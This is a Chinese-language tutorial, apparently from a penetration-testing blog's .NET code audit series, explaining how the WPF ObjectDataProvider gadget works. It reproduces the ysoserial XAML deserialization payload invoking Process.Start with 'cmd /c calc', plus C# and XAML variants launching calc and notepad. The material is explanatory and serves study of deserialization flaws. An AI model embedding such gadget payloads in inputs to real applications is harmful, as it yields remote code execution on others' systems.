1. 首页
  2. 代码审计

.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

0x01 背景

国外研发者在微软官方Github上提出废除ObjectDataProvider的建议,大家在微软社区讨论的非常热烈,提出问题者的出发点依旧是存在巨大的安全隐患,但截止目前在.NET Core3.1版本依然可用。不出意外的话辩论将会继续持续下去,不妨碍我们先分析一波原理 .NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

建议没有前置知识的同学先看一看之前的课程《.NET高级代码审计(第一课)XmlSerializer反序列化漏洞》.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider,接着再来细品 ysoserial 给出的XmlSerializer反序列化漏洞攻击载荷,如下代码所示,大伙可能会有疑问这段XAML代码为什么会以这样的形式存在?究竟背后的原因是怎样的,带着这些问题我们一步步来剖析解密。

<![CDATA[
<ResourceDictionary
xmlns=”http://schemas.microsoft.com/winfx/2006/xaml/presentation”
xmlns:d=”http://schemas.microsoft.com/winfx/2006/xaml”
xmlns:b=”clr-namespace:System;assembly=mscorlib”
xmlns:c=”clr-namespace:System.Diagnostics;assembly=system”>
<ObjectDataProvider d:Key=”” ObjectType=”{d:Type c:Process}” MethodName=”Start”>
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>]]>

0x02 数据源

WPF (全称:Windows Presentation Foundation) 是用于替代Windows Form来创建Windows客户端应用程序,WPF开发过程中主要有以下几种数据绑定方法,这些对象可以视为数据源绑定到控件

数据源名称 类型
ADO.NET DataTable
XML XmlDataProvider
Element ElementName
Object ObjectDataProvider

前两个XML数据源和数据库对象数据源这里不详细展开,重点关注元素数据源和对象数据源 , 首先看元素数据源使用场景,下面代码示例使用 xmlns:local =”clr-namespace:ObjectDataProvider” 绑定当前运行的APP程序的命名空间,注意这里的 namespace ObjectDataProvider不是类,只是笔者创建项目的命名空间名称,有关更多的XAML知识笔者单独详细介绍,这里不做展开,例如笔者在后端.cs文件中创建Employee类定义了姓名、年龄、性别

.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

在WPF中所有的控件都有一个共同的属性DataContext,便于将同一个对象多个属性绑定到不同的元素上。例如下XAML代码

<StackPanel>
<StackPanel.DataContext>
<local:Employee gender=”female” Age=”20″ Name=”Jessica”></local:Employee>
</StackPanel.DataContext>
<Grid>
<StackPanel>
<TextBox Text=”{Binding Name}” Margin=”5″></TextBox>
<TextBox Text=”{Binding Age}” Margin=”5″></TextBox>
<TextBox Text=”{Binding gender}” Margin=”5″></TextBox>
</StackPanel>
</Grid>
</StackPanel>

<StackPanel.DataContext>控件内使用的 <local:Employee gender=”female” Age=”20″ Name=”Jessica”></local:Employee> ,定义的 local:Employee 用来访问后端Employee类,分别给三个属性赋值,然后文本框使用{Binding}扩展标记绑定Name、Age、gender属性的值,这3个Text的Binding会自动沿着UI树向上就近寻找可用的DataContext。运行后如下图

.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

0x03 ObjectDataProvider用法

上面小节介绍了后端类和前端XAML简单的配合使用,接下来讲解反序列化漏洞里的核心Gadget:ObjectDataProvider,顾名思义就是把一个非静态类实例化后的对象作为数据源提供给绑定,大概是这样的:ObjectDataProvider对象的ObjectInstance属性是类的实例化对象(obj),MethodName属性为obj的方法,其中方法中还可以含有参数MethodParamers。基本用法如下启动计算器

ObjectDataProvider obj = new ObjectDataProvider();obj.MethodParameters.Add("calc");obj.MethodName = "Start";obj.ObjectInstance = new System.Diagnostics.Process();

但是在实际研发更多使用在XAML文件中,微软官方给出文档说可以在XAML使用并创建对象数据源

ObjectDataProvider enables you to create your object in XAML and make it available as a binding source. It provides the following properties that enable you to execute a query on your object and bind to the results.

如下代码 <ObjectDataProvider>定义在Window控件Resources属性内作为一种资源存储,x:Key表示检索名这个很关键,ObjectType表示需要实例化的类,x:Type 等同于C#里的typeof运算符用来获取数据类型,MethodName表示DataAccess类下调用的方法名,文中的数据模板可忽略不计,关注到 <Grid DataContext=”{Binding Source={StaticResource obj}}”> 通过Source绑定使用来自Key=obj的静态资源



<Window.Resources>
<ObjectDataProvider x:Key="obj" ObjectType="{x:Type data:DataAccess}" MethodName="GetEmp"></ObjectDataProvider>
<DataTemplate x:Key="EmpDataTemplate">
<StackPanel Orientation="Horizontal">
<TextBlock Text="{Binding Name}" ></TextBlock>
<TextBlock Text=" "/>
<TextBox Text="{Binding Age}" />
</StackPanel>
</DataTemplate>
</Window.Resources>
<Grid DataContext="{Binding Source={StaticResource obj}}">
<ComboBox Grid.Row="0" ItemsSource="{Binding}" FontSize="30" ItemTemplate="{StaticResource EmpDataTemplate}"/>
<TextBox Grid.Row="2" Height="60" Text="{Binding gender}" FontSize="30"/>
</Grid>

.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

上图中笔者在后端C#代码里定义DataAccess类,类中定义GetEmp()用来补位性别信息,再将补全的数据返回。举这个案例笔者想表达出ObjectDataProvider在实际开发中典型的应用,帮助更好说明它的使用场景。

ConstructorParameters属性

ObjectDataProvider 提供的ConstructorParameters 属性支持对类的构造方法初始化传值,如下代码 在XAML中对后端QueryData类构造方法中的Application属性赋值,初始化后启动记事本应用

<ObjectDataProvider x:Key="obj0" ObjectType="{x:Type local:QueryData}">            <ObjectDataProvider.ConstructorParameters>                <sys:String>notepad</sys:String>            </ObjectDataProvider.ConstructorParameters></ObjectDataProvider>

.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

通过上述实际案例的讲解,想必读者朋友都能对ysoserial生成的攻击载荷有更深的认知,类比看可用 Window.Resource 或者比窗口级别更上层的 Application.Resource 替代载荷里提供的ResourceDictionary。接下来我们再看一看ResourceDictionary是干什么的?

0x04 ResourceDictionary

其实每个控件都有Resource属性,但通常都是定义窗口级别上,例如Window.Resource,Resource属性存储了一个资源字典集合,资源集合里可以放置任意类型的对象,为了增加对资源文件的可维护性,WPF提供了ResourceDictionary对资源进行分类和汇总,实际开发中为了方便多个项目共同使用一个字典而打造的资源集合,如图添加资源字典

.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

如上图,资源<ResourceDictionary>也可引入XAML名称空间,例如xmlns:local =”clr-namespace:System.Diagnostics;assembly=System” 引入Process类为了实例化的对象,调用Start方法启动计算器。另外可使用 MergedDictionaries属性指定外部的 Resource文件合并嵌入,看如下代码

<Window.Resources>        <ResourceDictionary>            <ResourceDictionary.MergedDictionaries>                <ResourceDictionary Source="Dictionary1.xaml"/>            </ResourceDictionary.MergedDictionaries>        </ResourceDictionary></Window.Resources>

分析下来资源字典<ResourceDictionary>不是必需品,只是常见的用法帮助开发者更好的维护静态资源,笔者将资源字典去除后在XAML文件中的窗口(Window.Resource)资源属性上直接绑定ObjectDataProvider对象数据源,同样也可触发命令执行

<Window.Resources>        <ObjectDataProvider x:Key="obj" ObjectType="{x:Type process:Process}" MethodName="Start">            <ObjectDataProvider.MethodParameters>"calc"</ObjectDataProvider.MethodParameters>        </ObjectDataProvider></Window.Resources><Grid DataContext="{Binding Source={StaticResource obj}}"></Grid>

.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/3991.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息